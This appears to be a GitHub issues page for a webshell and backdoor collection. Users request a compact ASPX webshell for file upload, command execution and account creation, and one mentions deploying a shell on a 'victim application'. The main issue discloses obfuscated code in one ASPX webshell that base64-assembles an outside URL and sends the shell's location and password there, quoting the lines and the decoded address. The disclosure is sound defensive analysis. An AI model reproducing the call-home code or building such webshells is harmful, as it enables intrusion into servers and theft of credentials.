xl7dev/webshell

Webshell && Backdoor Collection

webshell's Issues

Websh-backdoor

REQ I Need ASP OR ASPX webshell only 5k

Hi.
I Need ASP OR ASPX webshell only size 5k.
Upload File and CMD And Make User Account Auto.
Thanks.

web shell upload

l uploaded your shell to a victim application and immediately after upload it crashed instead of creating a backdoor why?

请指教，golang 写的

https://github.com/SelfDown/moon/

有golang版本的吗

Backdoor in webshell

Here is one I found.

WebShell/Aspx/专版aspx汗血宝马.aspx

Line 54 in f7cd87f

HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(YfCnP + this.Request.Url.ToString() + pbzw + Password + ""); HttpWebResponse response = (HttpWebResponse)request.GetResponse();

Variable YfCnP is base64 encoded.

WebShell/Aspx/专版aspx汗血宝马.aspx

Lines 39 to 49 in f7cd87f

	string YfCnP = sh;
	YfCnP += portble;
	YfCnP += vcf;
	YfCnP += dwgtg;
	YfCnP += bin_data;
	YfCnP += fuze;
	YfCnP += ouj;
	YfCnP += tprq;
	YfCnP += idodr;
	YfCnP += mtg;
	YfCnP += ksgr;

WebShell/Aspx/专版aspx汗血宝马.aspx

Lines 519 to 529 in f7cd87f

	ksgr = Encoding.Default.GetString(Convert.FromBase64String(ksgr));
	mtg = Encoding.Default.GetString(Convert.FromBase64String(mtg));
	idodr = Encoding.Default.GetString(Convert.FromBase64String(idodr));
	tprq = Encoding.Default.GetString(Convert.FromBase64String(tprq));
	ouj = Encoding.Default.GetString(Convert.FromBase64String(ouj));
	fuze = Encoding.Default.GetString(Convert.FromBase64String(fuze));
	bin_data = Encoding.Default.GetString(Convert.FromBase64String(bin_data));
	dwgtg = Encoding.Default.GetString(Convert.FromBase64String(dwgtg));
	vcf = Encoding.Default.GetString(Convert.FromBase64String(vcf));
	portble = Encoding.Default.GetString(Convert.FromBase64String(portble));
	sh = Encoding.Default.GetString(Convert.FromBase64String(sh));

WebShell/Aspx/专版aspx汗血宝马.aspx

Line 2081 in f7cd87f

string sh = "aHR0";

WebShell/Aspx/专版aspx汗血宝马.aspx

Line 1724 in f7cd87f

string portble = "cDovLw==";

WebShell/Aspx/专版aspx汗血宝马.aspx

Line 1662 in f7cd87f

string vcf = "d3c=";

WebShell/Aspx/专版aspx汗血宝马.aspx

Line 1561 in f7cd87f

string dwgtg = "dy50cm95";

WebShell/Aspx/专版aspx汗血宝马.aspx

Line 1495 in f7cd87f

string bin_data = "cGxhbi4=";

WebShell/Aspx/专版aspx汗血宝马.aspx

Line 1466 in f7cd87f

string fuze = "Y29tL2FydGlj";

WebShell/Aspx/专版aspx汗血宝马.aspx

Line 1449 in f7cd87f

string ouj = "bGUvaQ==";

WebShell/Aspx/专版aspx汗血宝马.aspx

Line 1297 in f7cd87f

string tprq = "bmZvLw==";

WebShell/Aspx/专版aspx汗血宝马.aspx

Line 1179 in f7cd87f

string idodr = "Z2suYXM=";

WebShell/Aspx/专版aspx汗血宝马.aspx

Line 589 in f7cd87f

string mtg = "cHg=";

WebShell/Aspx/专版aspx汗血宝马.aspx

Line 499 in f7cd87f

string ksgr = "P25hbWU9";

Decode YfCnP:
http://www.troyplan.com/article/info/gk.aspx?name=
Maybe there are more backdoors in webshells, use with caution.

Don't be evil.